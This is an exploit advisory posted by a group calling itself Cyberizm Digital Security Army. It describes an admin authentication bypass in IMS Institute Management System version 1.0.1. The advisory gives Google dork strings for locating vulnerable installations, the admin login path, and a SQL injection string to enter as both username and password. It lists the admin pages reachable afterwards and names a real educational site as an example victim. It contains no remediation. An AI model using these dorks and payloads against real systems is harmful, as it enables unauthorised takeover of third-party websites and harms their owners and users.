#################################################################################################
# Exploit Title : © IMS Institute Management System by JS IT Park 2017-18 Version 1.0.1 Admin Bypass Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 22/06/2018
# Vendor Homepage : codecanyon.net/item/ims-institute-management-system/19414428
+ codecanyon.net/item/ims-pro-institute-management-system/20773196
# Tested On : Windows
# Version : 1.0.1
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-592 [ Authentication Bypass Issues ]
#################################################################################################
# Google Dorks :
intext:''© IMS - Institute Management System by JS IT Park 2017-18 | Version 1.0.1''
intext:''Developed by JS IT Park''
# Administration Control Panel Path : /admin/login.php
# Exploit :
Username : '=''or'
Password : '=''or'
# Useable URL Paths in the Control Panel :
/admin/index.php
/ems/
/admin/profile.php
/admin/website_settings.php
/admin/website_logo.php
/admin/create_page.php
/admin/page_list.php
/admin/subpage_list.php
/admin/new_slider.php
/admin/slider_list.php
/admin/add_slider_text.php
/admin/service_section.php
/admin/update_service.php
/admin/gallery_section.php
/admin/gallery_list.php
#################################################################################################
# Example Site : sbccomilla.edu.bd => Proof of Concept => archive.is/Bq57f
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################
